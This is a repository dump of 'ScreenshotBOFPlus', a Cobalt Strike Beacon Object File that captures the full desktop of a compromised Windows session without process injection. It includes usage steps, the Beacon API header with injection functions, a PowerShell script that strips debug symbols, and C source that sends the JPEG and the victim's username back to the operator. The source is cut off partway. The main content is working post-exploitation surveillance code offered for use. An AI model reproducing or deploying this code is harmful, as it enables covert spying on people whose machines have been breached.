├── README.md ├── LICENSE ├── ScreenshotBOFPlus.sln ├── ScreenshotBOFPlus ├── beacon.h ├── resources │ └── strip_bof.ps1 ├── main.c └── ScreenshotBOFPlus.vcxproj └── .gitignore /README.md: -------------------------------------------------------------------------------- 1 | # ScreenshotBOFPlus 2 | 3 | Take a screenshot without injection for Cobalt Strike. I only made minor optimizations to the existing code, and made it support the ability to get a complete screenshot when global scaling is initiated on Windows. 4 | 5 | ## Self Compilation 6 | 1. git clone the repo 7 | 2. open the solution in Visual Studio 8 | 3. Build project BOF 9 | 10 | ## Usage 11 | 1. import the ScreenshotBOFPlus.cna script into Cobalt Strike 12 | 2. use the command screenshot_plus 13 | 14 | ``` 15 | beacon> screenshot_plus 16 | [*] Running screenshot without injection 17 | ... 18 | ``` 19 | 20 | 3. if take sceenshot successfully, you should find a screenshot on View-Screenshots 21 | 22 | ## Credits 23 | - https://github.com/CodeXTF2/ScreenshotBOF 24 | - https://github.com/qwqdanchun/ScreenShot-BOF 25 | 26 | ## Disclaimer 27 | usual disclaimer here, I am not responsible for any crimes against humanity you may commit or nuclear war you may cause using this piece of poorly written code. 28 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 baiyies 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /ScreenshotBOFPlus.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30517.126 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ScreenshotBOFPlus", "ScreenshotBOFPlus\ScreenshotBOFPlus.vcxproj", "{C04AB0F3-F7E1-4996-9CFA-D1337332EF29}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | BOF|x64 = BOF|x64 11 | BOF|x86 = BOF|x86 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {C04AB0F3-F7E1-4996-9CFA-D1337332EF29}.BOF|x64.ActiveCfg = BOF|x64 19 | {C04AB0F3-F7E1-4996-9CFA-D1337332EF29}.BOF|x64.Build.0 = BOF|x64 20 | {C04AB0F3-F7E1-4996-9CFA-D1337332EF29}.BOF|x86.ActiveCfg = BOF|Win32 21 | {C04AB0F3-F7E1-4996-9CFA-D1337332EF29}.BOF|x86.Build.0 = BOF|Win32 22 | {C04AB0F3-F7E1-4996-9CFA-D1337332EF29}.Debug|x64.ActiveCfg = Debug|x64 23 | {C04AB0F3-F7E1-4996-9CFA-D1337332EF29}.Debug|x64.Build.0 = Debug|x64 24 | {C04AB0F3-F7E1-4996-9CFA-D1337332EF29}.Debug|x86.ActiveCfg = Debug|Win32 25 | {C04AB0F3-F7E1-4996-9CFA-D1337332EF29}.Debug|x86.Build.0 = Debug|Win32 26 | {C04AB0F3-F7E1-4996-9CFA-D1337332EF29}.Release|x64.ActiveCfg = Release|x64 27 | {C04AB0F3-F7E1-4996-9CFA-D1337332EF29}.Release|x64.Build.0 = Release|x64 28 | {C04AB0F3-F7E1-4996-9CFA-D1337332EF29}.Release|x86.ActiveCfg = Release|Win32 29 | {C04AB0F3-F7E1-4996-9CFA-D1337332EF29}.Release|x86.Build.0 = Release|Win32 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {BB40A5A4-261A-4411-8CC0-615E484001A5} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /ScreenshotBOFPlus/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char* original; /* the original buffer [so we can free it] */ 13 | char* buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap* parser, char* buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap* parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap* parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap* parser); 22 | DECLSPEC_IMPORT char* BeaconDataExtract(datap* parser, int* size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char* original; /* the original buffer [so we can free it] */ 27 | char* buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp* format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp* format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp* format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp* format, char* text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp* format, char* fmt, ...); 37 | DECLSPEC_IMPORT char* BeaconFormatToString(formatp* format, int* size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp* format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char* fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char* data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char* buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char* src, wchar_t* dst, int max); -------------------------------------------------------------------------------- /ScreenshotBOFPlus/resources/strip_bof.ps1: -------------------------------------------------------------------------------- 1 | function strip-bof { 2 | <# 3 | .SYNOPSIS 4 | Removes debug symbols from a beacon object file 5 | 6 | Heavily dependent on code by Matthew Graeber (@mattifestation) 7 | Original code: https://www.powershellgallery.com/packages/PowerSploit/1.0.0.0/Content/PETools%5CGet-ObjDump.ps1 8 | Author: Yasser Alhazmi (@yas_o_h) 9 | License: BSD 3-Clause 10 | 11 | .PARAMETER Path 12 | 13 | Specifies a path to one or more object file locations. 14 | 15 | .EXAMPLE 16 | 17 | C:\PS>strip-bof -Path main.obj 18 | 19 | #> 20 | 21 | [CmdletBinding()] Param ( 22 | [Parameter(Position = 0, Mandatory = $True)] 23 | [ValidateScript({ Test-Path $_ })] 24 | [String] 25 | $Path 26 | ) 27 | 28 | 29 | $Code = @' 30 | using System; 31 | using System.IO; 32 | using System.Text; 33 | 34 | namespace COFF 35 | { 36 | 37 | 38 | public class SECTION_HEADER 39 | { 40 | public string Name; 41 | public uint PhysicalAddress; 42 | public uint VirtualSize; 43 | public uint VirtualAddress; 44 | public uint SizeOfRawData; 45 | public uint PointerToRawData; 46 | public uint PointerToRelocations; 47 | public uint PointerToLinenumbers; 48 | public ushort NumberOfRelocations; 49 | public ushort NumberOfLinenumbers; 50 | public uint Characteristics; 51 | public Byte[] RawData; 52 | 53 | public SECTION_HEADER(BinaryReader br) 54 | { 55 | this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0]; 56 | this.PhysicalAddress = br.ReadUInt32(); 57 | this.VirtualSize = this.PhysicalAddress; 58 | this.VirtualAddress = br.ReadUInt32(); 59 | this.SizeOfRawData = br.ReadUInt32(); 60 | this.PointerToRawData = br.ReadUInt32(); 61 | this.PointerToRelocations = br.ReadUInt32(); 62 | this.PointerToLinenumbers = br.ReadUInt32(); 63 | this.NumberOfRelocations = br.ReadUInt16(); 64 | this.NumberOfLinenumbers = br.ReadUInt16(); 65 | this.Characteristics = br.ReadUInt32(); 66 | } 67 | } 68 | 69 | 70 | public class HEADER 71 | { 72 | public ushort Machine; 73 | public ushort NumberOfSections; 74 | public uint TimeDateStamp; 75 | public uint PointerToSymbolTable; 76 | public uint NumberOfSymbols; 77 | public ushort SizeOfOptionalHeader; 78 | public ushort Characteristics; 79 | 80 | public HEADER(BinaryReader br) 81 | { 82 | this.Machine = br.ReadUInt16(); 83 | this.NumberOfSections = br.ReadUInt16(); 84 | this.TimeDateStamp = br.ReadUInt32(); 85 | this.PointerToSymbolTable = br.ReadUInt32(); 86 | this.NumberOfSymbols = br.ReadUInt32(); 87 | this.SizeOfOptionalHeader = br.ReadUInt16(); 88 | this.Characteristics = br.ReadUInt16(); 89 | } 90 | } 91 | } 92 | '@ 93 | 94 | Add-Type -TypeDefinition $Code 95 | Write-Host "enumerating sections..." 96 | try { 97 | $FileStream = [IO.File]::OpenRead($Path) 98 | $BinaryReader = New-Object IO.BinaryReader($FileStream) 99 | $CoffHeader = New-Object COFF.HEADER($BinaryReader) 100 | 101 | # Parse section headers 102 | $SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections) 103 | 104 | for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++) 105 | { 106 | $SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader) 107 | 108 | if($SectionHeaders[$i].Name.Contains("debug")){ 109 | Write-Host "found debug section.. zeroing it..." 110 | $FileStream.Close(); 111 | $FileStream2 = [IO.File]::OpenWrite($Path) 112 | $FileStream2.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null 113 | for($x = 0; $x -lt $SectionHeaders[$i].SizeOfRawData; $x++){ 114 | $FileStream2.WriteByte(0) 115 | } 116 | Write-Host "closing stream..."; 117 | $FileStream2.Close(); 118 | Write-Host "done!"; 119 | return; 120 | } 121 | } 122 | } catch { 123 | Add-Type -AssemblyName PresentationFramework 124 | [System.Windows.MessageBox]::Show("error stripping debug symbols: " + $_.ToString()); 125 | return; 126 | } 127 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.suo 8 | *.user 9 | *.userosscache 10 | *.sln.docstates 11 | 12 | # User-specific files (MonoDevelop/Xamarin Studio) 13 | *.userprefs 14 | 15 | # Build results 16 | [Dd]ebug/ 17 | [Dd]ebugPublic/ 18 | [Rr]elease/ 19 | [Rr]eleases/ 20 | x64/ 21 | x86/ 22 | bld/ 23 | [Bb]in/ 24 | [Oo]bj/ 25 | [Ll]og/ 26 | 27 | # Visual Studio 2015 cache/options directory 28 | .vs/ 29 | # Uncomment if you have tasks that create the project's static files in wwwroot 30 | #wwwroot/ 31 | 32 | # MSTest test Results 33 | [Tt]est[Rr]esult*/ 34 | [Bb]uild[Ll]og.* 35 | 36 | # NUNIT 37 | *.VisualState.xml 38 | TestResult.xml 39 | 40 | # Build Results of an ATL Project 41 | [Dd]ebugPS/ 42 | [Rr]eleasePS/ 43 | dlldata.c 44 | 45 | # .NET Core 46 | project.lock.json 47 | project.fragment.lock.json 48 | artifacts/ 49 | **/Properties/launchSettings.json 50 | 51 | *_i.c 52 | *_p.c 53 | *_i.h 54 | *.ilk 55 | *.meta 56 | *.obj 57 | *.pch 58 | *.pdb 59 | *.pgc 60 | *.pgd 61 | *.rsp 62 | *.sbr 63 | *.tlb 64 | *.tli 65 | *.tlh 66 | *.tmp 67 | *.tmp_proj 68 | *.log 69 | *.vspscc 70 | *.vssscc 71 | .builds 72 | *.pidb 73 | *.svclog 74 | *.scc 75 | 76 | # Chutzpah Test files 77 | _Chutzpah* 78 | 79 | # Visual C++ cache files 80 | ipch/ 81 | *.aps 82 | *.ncb 83 | *.opendb 84 | *.opensdf 85 | *.sdf 86 | *.cachefile 87 | *.VC.db 88 | *.VC.VC.opendb 89 | 90 | # Visual Studio profiler 91 | *.psess 92 | *.vsp 93 | *.vspx 94 | *.sap 95 | 96 | # TFS 2012 Local Workspace 97 | $tf/ 98 | 99 | # Guidance Automation Toolkit 100 | *.gpState 101 | 102 | # ReSharper is a .NET coding add-in 103 | _ReSharper*/ 104 | *.[Rr]e[Ss]harper 105 | *.DotSettings.user 106 | 107 | # JustCode is a .NET coding add-in 108 | .JustCode 109 | 110 | # TeamCity is a build add-in 111 | _TeamCity* 112 | 113 | # DotCover is a Code Coverage Tool 114 | *.dotCover 115 | 116 | # Visual Studio code coverage results 117 | *.coverage 118 | *.coveragexml 119 | 120 | # NCrunch 121 | _NCrunch_* 122 | .*crunch*.local.xml 123 | nCrunchTemp_* 124 | 125 | # MightyMoose 126 | *.mm.* 127 | AutoTest.Net/ 128 | 129 | # Web workbench (sass) 130 | .sass-cache/ 131 | 132 | # Installshield output folder 133 | [Ee]xpress/ 134 | 135 | # DocProject is a documentation generator add-in 136 | DocProject/buildhelp/ 137 | DocProject/Help/*.HxT 138 | DocProject/Help/*.HxC 139 | DocProject/Help/*.hhc 140 | DocProject/Help/*.hhk 141 | DocProject/Help/*.hhp 142 | DocProject/Help/Html2 143 | DocProject/Help/html 144 | 145 | # Click-Once directory 146 | publish/ 147 | 148 | # Publish Web Output 149 | *.[Pp]ublish.xml 150 | *.azurePubxml 151 | # TODO: Comment the next line if you want to checkin your web deploy settings 152 | # but database connection strings (with potential passwords) will be unencrypted 153 | *.pubxml 154 | *.publishproj 155 | 156 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 157 | # checkin your Azure Web App publish settings, but sensitive information contained 158 | # in these scripts will be unencrypted 159 | PublishScripts/ 160 | 161 | # NuGet Packages 162 | *.nupkg 163 | # The packages folder can be ignored because of Package Restore 164 | **/packages/* 165 | # except build/, which is used as an MSBuild target. 166 | !**/packages/build/ 167 | # Uncomment if necessary however generally it will be regenerated when needed 168 | #!**/packages/repositories.config 169 | # NuGet v3's project.json files produces more ignorable files 170 | *.nuget.props 171 | *.nuget.targets 172 | 173 | # Microsoft Azure Build Output 174 | csx/ 175 | *.build.csdef 176 | 177 | # Microsoft Azure Emulator 178 | ecf/ 179 | rcf/ 180 | 181 | # Windows Store app package directories and files 182 | AppPackages/ 183 | BundleArtifacts/ 184 | Package.StoreAssociation.xml 185 | _pkginfo.txt 186 | 187 | # Visual Studio cache files 188 | # files ending in .cache can be ignored 189 | *.[Cc]ache 190 | # but keep track of directories ending in .cache 191 | !*.[Cc]ache/ 192 | 193 | # Others 194 | ClientBin/ 195 | ~$* 196 | *~ 197 | *.dbmdl 198 | *.dbproj.schemaview 199 | *.jfm 200 | *.pfx 201 | *.publishsettings 202 | orleans.codegen.cs 203 | 204 | # Since there are multiple workflows, uncomment next line to ignore bower_components 205 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 206 | #bower_components/ 207 | 208 | # RIA/Silverlight projects 209 | Generated_Code/ 210 | 211 | # Backup & report files from converting an old project file 212 | # to a newer Visual Studio version. Backup files are not needed, 213 | # because we have git ;-) 214 | _UpgradeReport_Files/ 215 | Backup*/ 216 | UpgradeLog*.XML 217 | UpgradeLog*.htm 218 | 219 | # SQL Server files 220 | *.mdf 221 | *.ldf 222 | *.ndf 223 | 224 | # Business Intelligence projects 225 | *.rdl.data 226 | *.bim.layout 227 | *.bim_*.settings 228 | 229 | # Microsoft Fakes 230 | FakesAssemblies/ 231 | 232 | # GhostDoc plugin setting file 233 | *.GhostDoc.xml 234 | 235 | # Node.js Tools for Visual Studio 236 | .ntvs_analysis.dat 237 | node_modules/ 238 | 239 | # Typescript v1 declaration files 240 | typings/ 241 | 242 | # Visual Studio 6 build log 243 | *.plg 244 | 245 | # Visual Studio 6 workspace options file 246 | *.opt 247 | 248 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 249 | *.vbw 250 | 251 | # Visual Studio LightSwitch build output 252 | **/*.HTMLClient/GeneratedArtifacts 253 | **/*.DesktopClient/GeneratedArtifacts 254 | **/*.DesktopClient/ModelManifest.xml 255 | **/*.Server/GeneratedArtifacts 256 | **/*.Server/ModelManifest.xml 257 | _Pvt_Extensions 258 | 259 | # Paket dependency manager 260 | .paket/paket.exe 261 | paket-files/ 262 | 263 | # FAKE - F# Make 264 | .fake/ 265 | 266 | # JetBrains Rider 267 | .idea/ 268 | *.sln.iml 269 | 270 | # CodeRush 271 | .cr/ 272 | 273 | # Python Tools for Visual Studio (PTVS) 274 | __pycache__/ 275 | *.pyc 276 | 277 | # Cake - Uncomment if you are using it 278 | # tools/** 279 | # !tools/packages.config 280 | 281 | # Telerik's JustMock configuration file 282 | *.jmconfig 283 | 284 | # BizTalk build output 285 | *.btp.cs 286 | *.btm.cs 287 | *.odx.cs 288 | *.xsd.cs 289 | 290 | *.ini 291 | !skin.ini 292 | *.dat 293 | *.bak 294 | -------------------------------------------------------------------------------- /ScreenshotBOFPlus/main.c: -------------------------------------------------------------------------------- 1 | #define CINTERFACE 2 | #define COBJMACROS 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "beacon.h" 11 | 12 | #define CALLBACK_SCREENSHOT 0x03 13 | #define SUCCEEDED(hr) (((HRESULT)(hr)) >= 0) 14 | #define DESKTOPVERTRES 117 /* Horizontal width of entire desktop in */ 15 | #define DESKTOPHORZRES 118 /* Vertical height of entire desktop in */ 16 | 17 | #ifdef _WIN64 18 | CONST GUID GUID_ContainerFormatJpeg = { 0x19e4a5aa, 0x5662, 0x4fc5, 0xa0, 0xc0, 0x17, 0x58, 0x02, 0x8e, 0x10, 0x57 }; 19 | CONST GUID GUID_WICPixelFormat24bppBGR = { 0x6fddc324, 0x4e03, 0x4bfe, 0xb1, 0x85, 0x3d, 0x77, 0x76, 0x8d, 0xc9, 0x0c }; 20 | CONST GUID CLSID_WICImagingFactory2 = { 0x317d06e8, 0x5f24, 0x433d, 0xbd, 0xf7, 0x79, 0xce, 0x68, 0xd8, 0xab, 0xc2 }; 21 | CONST GUID IID_IWICImagingFactory = { 0xec5ec8a9,0xc395,0x4314,0x9c,0x77,0x54,0xd7,0xa9,0x35,0xff,0x70 }; 22 | #else 23 | CONST GUID GUID_ContainerFormatJpeg = { 0x19e4a5aa, 0x5662, 0x4fc5, 0xa0, 0xc0, 0x17, 0x58, 0x02, 0x8e, 0x10, 0x57 }; 24 | CONST GUID GUID_WICPixelFormat24bppBGR = { 0x6fddc324, 0x4e03, 0x4bfe, 0xb1, 0x85, 0x3d, 0x77, 0x76, 0x8d, 0xc9, 0x0c }; 25 | CONST GUID CLSID_WICImagingFactory2 = { 0x317d06e8, 0x5f24, 0x433d, 0xbd, 0xf7, 0x79, 0xce, 0x68, 0xd8, 0xab, 0xc2 }; 26 | CONST GUID IID_IWICImagingFactory = { 0xec5ec8a9,0xc395,0x4314,0x9c,0x77,0x54,0xd7,0xa9,0x35,0xff,0x70 }; 27 | #endif 28 | 29 | DECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t size); 30 | DECLSPEC_IMPORT void __cdecl MSVCRT$free(void* _Block); 31 | WINBASEAPI void __cdecl MSVCRT$memset(void* dest, int c, size_t count); 32 | WINBASEAPI int __cdecl MSVCRT$_snprintf(char*, size_t, const char*, ...); 33 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ProcessIdToSessionId(DWORD, DWORD*); 34 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId(); 35 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID, DWORD); 36 | DECLSPEC_IMPORT int WINAPI User32$GetSystemMetrics(int nIndex); 37 | DECLSPEC_IMPORT HDC WINAPI User32$GetDC(HWND hWnd); 38 | DECLSPEC_IMPORT HDC WINAPI GDI32$CreateCompatibleDC(HDC hdc); 39 | DECLSPEC_IMPORT int WINAPI GDI32$GetDeviceCaps(HDC hdc,int index); 40 | DECLSPEC_IMPORT char* WINAPI MSVCRT$getenv(const char* varname); 41 | DECLSPEC_IMPORT HBITMAP WINAPI GDI32$CreateCompatibleBitmap(HDC hdc, int cx, int cy); 42 | DECLSPEC_IMPORT HGDIOBJ WINAPI GDI32$SelectObject(HDC hdc, HGDIOBJ h); 43 | DECLSPEC_IMPORT BOOL WINAPI GDI32$BitBlt(HDC hdc, int x, int y, int cx, int cy, HDC hdcSrc, int x1, int y1, DWORD rop); 44 | DECLSPEC_IMPORT int WINAPI GDI32$GetObjectW(HANDLE h, int c, LPVOID pv); 45 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv); 46 | DECLSPEC_IMPORT HGDIOBJ WINAPI GDI32$DeleteObject(HGDIOBJ ho); 47 | DECLSPEC_IMPORT int WINAPI User32$ReleaseDC(HWND hWnd, HDC hDC); 48 | 49 | void SendScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { 50 | int messageLength; 51 | char* packedData; 52 | int packedIndex = 4; 53 | int i; 54 | messageLength = 4 + jpgLen + 4 + 4 + titleLen + 4 + usernameLen; 55 | packedData = (char*)MSVCRT$malloc(messageLength); 56 | packedData[0] = jpgLen & 0xFF; 57 | packedData[1] = (jpgLen >> 8) & 0xFF; 58 | packedData[2] = (jpgLen >> 16) & 0xFF; 59 | packedData[3] = (jpgLen >> 24) & 0xFF; 60 | for (i = 0; i < jpgLen; i++) { 61 | packedData[packedIndex] = jpg[i]; 62 | packedIndex++; 63 | } 64 | packedData[packedIndex] = session & 0xFF; 65 | packedData[packedIndex + 1] = (session >> 8) & 0xFF; 66 | packedData[packedIndex + 2] = (session >> 16) & 0xFF; 67 | packedData[packedIndex + 3] = (session >> 24) & 0xFF; 68 | packedData[packedIndex + 4] = titleLen & 0xFF; 69 | packedData[packedIndex + 5] = (titleLen >> 8) & 0xFF; 70 | packedData[packedIndex + 6] = (titleLen >> 16) & 0xFF; 71 | packedData[packedIndex + 7] = (titleLen >> 24) & 0xFF; 72 | packedIndex += 8; 73 | for (i = 0; i < titleLen; i++) { 74 | packedData[packedIndex] = windowTitle[i]; 75 | packedIndex++; 76 | } 77 | packedData[packedIndex] = usernameLen & 0xFF; 78 | packedData[packedIndex + 1] = (usernameLen >> 8) & 0xFF; 79 | packedData[packedIndex + 2] = (usernameLen >> 16) & 0xFF; 80 | packedData[packedIndex + 3] = (usernameLen >> 24) & 0xFF; 81 | packedIndex += 4; 82 | for (i = 0; i < usernameLen; i++) { 83 | packedData[packedIndex] = username[i]; 84 | packedIndex++; 85 | } 86 | BeaconOutput(CALLBACK_SCREENSHOT, packedData, messageLength); 87 | MSVCRT$free(packedData); //fix memory leaks 88 | return; 89 | } 90 | 91 | 92 | int go() 93 | { 94 | HANDLE hDIB; 95 | HANDLE hFile; 96 | DWORD dwBmpSize; 97 | DWORD dwSizeofDIB; 98 | DWORD dwBytesWritten; 99 | HBITMAP hbmScreen = NULL; 100 | BITMAP bmpScreen; 101 | BITMAPFILEHEADER bmfHeader; 102 | BITMAPINFOHEADER bi; 103 | CHAR* lpbitmap; 104 | BITMAP bm_info = { 0 }; 105 | IWICImagingFactory* factory = NULL; 106 | IWICBitmap* wic_bitmap = NULL; 107 | IWICStream* stream = NULL; 108 | IWICBitmapEncoder* encoder = NULL; 109 | IWICBitmapFrameEncode* frame = NULL; 110 | HRESULT hr = S_OK; 111 | BYTE* Memory; 112 | LARGE_INTEGER pos; 113 | ULARGE_INTEGER size; 114 | char* user = (char*)MSVCRT$getenv("USERNAME"); 115 | char title[] = "ScreenshotBOFPlus"; 116 | int userLength = MSVCRT$_snprintf(NULL, 0, "%s", user); 117 | int titleLength = MSVCRT$_snprintf(NULL, 0, "%s", title); 118 | DWORD session = -1; 119 | //INT width = User32$GetSystemMetrics(SM_CXSCREEN); 120 | //INT height = User32$GetSystemMetrics(SM_CYSCREEN); 121 | HDC hdcScreen = User32$GetDC(NULL); 122 | INT width = GDI32$GetDeviceCaps(hdcScreen, DESKTOPHORZRES); //get full screen 123 | INT height = GDI32$GetDeviceCaps(hdcScreen, DESKTOPVERTRES); //get full screen 124 | HDC hdcMemDC = GDI32$CreateCompatibleDC(hdcScreen); 125 | 126 | KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session); 127 | 128 | if (session == 0){ //can't get screenshot from console session 129 | BeaconPrintf(CALLBACK_ERROR, "Can't get screenshot from console session!\n"); 130 | goto done; 131 | } 132 | else{ 133 | BeaconPrintf(CALLBACK_OUTPUT_UTF8, "Ready to get screenshot from session:%d!\n", session); 134 | } 135 | 136 | 137 | if (!hdcMemDC) 138 | { 139 | goto done; 140 | } 141 | hbmScreen = GDI32$CreateCompatibleBitmap(hdcScreen, width, height); 142 | if (!hbmScreen) 143 | { 144 | goto done; 145 | } 146 | GDI32$SelectObject(hdcMemDC, hbmScreen); 147 | if (!GDI32$BitBlt( 148 | hdcMemDC, 149 | 0, 0, 150 | width, height, 151 | hdcScreen, 152 | 0, 0, 153 | SRCCOPY)) 154 | { 155 | goto done; 156 | } 157 | GDI32$GetObjectW(hbmScreen, sizeof(BITMAP), &bmpScreen); 158 | bi.biSize = sizeof(BITMAPINFOHEADER); 159 | bi.biWidth = bmpScreen.bmWidth; 160 | bi.biHeight = bmpScreen.bmHeight; 161 | bi.biPlanes = 1; 162 | bi.biBitCount = 32; 163 | bi.biCompression = BI_RGB; 164 | bi.biSizeImage = 0; 165 | bi.biXPelsPerMeter = 0; 166 | bi.biYPelsPerMeter = 0; 167 | bi.biClrUsed = 0; 168 | bi.biClrImportant = 0; 169 | dwBmpSize = ((bmpScreen.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmpScreen.bmHeight; 170 | Memory = MSVCRT$malloc(dwBmpSize / 6); 171 | MSVCRT$memset(Memory, 0, dwBmpSize / 6); 172 | hr = OLE32$CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); 173 | if (!GDI32$GetObjectW(hbmScreen, sizeof(bm_info), &bm_info)) { 174 | hr = E_FAIL; 175 | } 176 | factory = NULL; 177 | if (SUCCEEDED(hr)) { 178 | hr = OLE32$CoCreateInstance(&CLSID_WICImagingFactory, NULL, CLSCTX_INPROC_SERVER, 179 | &IID_IWICImagingFactory, &factory); 180 | } 181 | wic_bitmap = NULL; 182 | if (SUCCEEDED(hr)) { 183 | hr = IWICImagingFactory_CreateBitmapFromHBITMAP(factory, hbmScreen, NULL, 184 | WICBitmapIgnoreAlpha, 185 | &wic_bitmap); 186 | } 187 | stream = NULL; 188 | if (SUCCEEDED(hr)) { 189 | hr = IWICImagingFactory_CreateStream(factory, &stream); 190 | } 191 | if (SUCCEEDED(hr)) { 192 | hr = IWICStream_InitializeFromMemory(stream, Memory, dwBmpSize / 6); 193 | } 194 | encoder = NULL; 195 | if (SUCCEEDED(hr)) { 196 | hr = IWICImagingFactory_CreateEncoder(factory, &GUID_ContainerFormatJpeg, NULL, &encoder); 197 | } 198 | if (SUCCEEDED(hr)) { 199 | hr = IWICBitmapEncoder_Initialize(encoder, (IStream*)stream, WICBitmapEncoderNoCache); 200 | } 201 | frame = NULL; 202 | if (SUCCEEDED(hr)) { 203 | hr = IWICBitmapEncoder_CreateNewFrame(encoder, &frame, NULL); 204 | } 205 | if (SUCCEEDED(hr)) { 206 | hr = IWICBitmapFrameEncode_Initialize(frame, NULL); 207 | } 208 | if (SUCCEEDED(hr)) { 209 | hr = IWICBitmapFrameEncode_SetSize(frame, bm_info.bmWidth, bm_info.bmHeight); 210 | } 211 | if (SUCCEEDED(hr)) { 212 | GUID pixel_format = GUID_WICPixelFormat24bppBGR; 213 | hr = 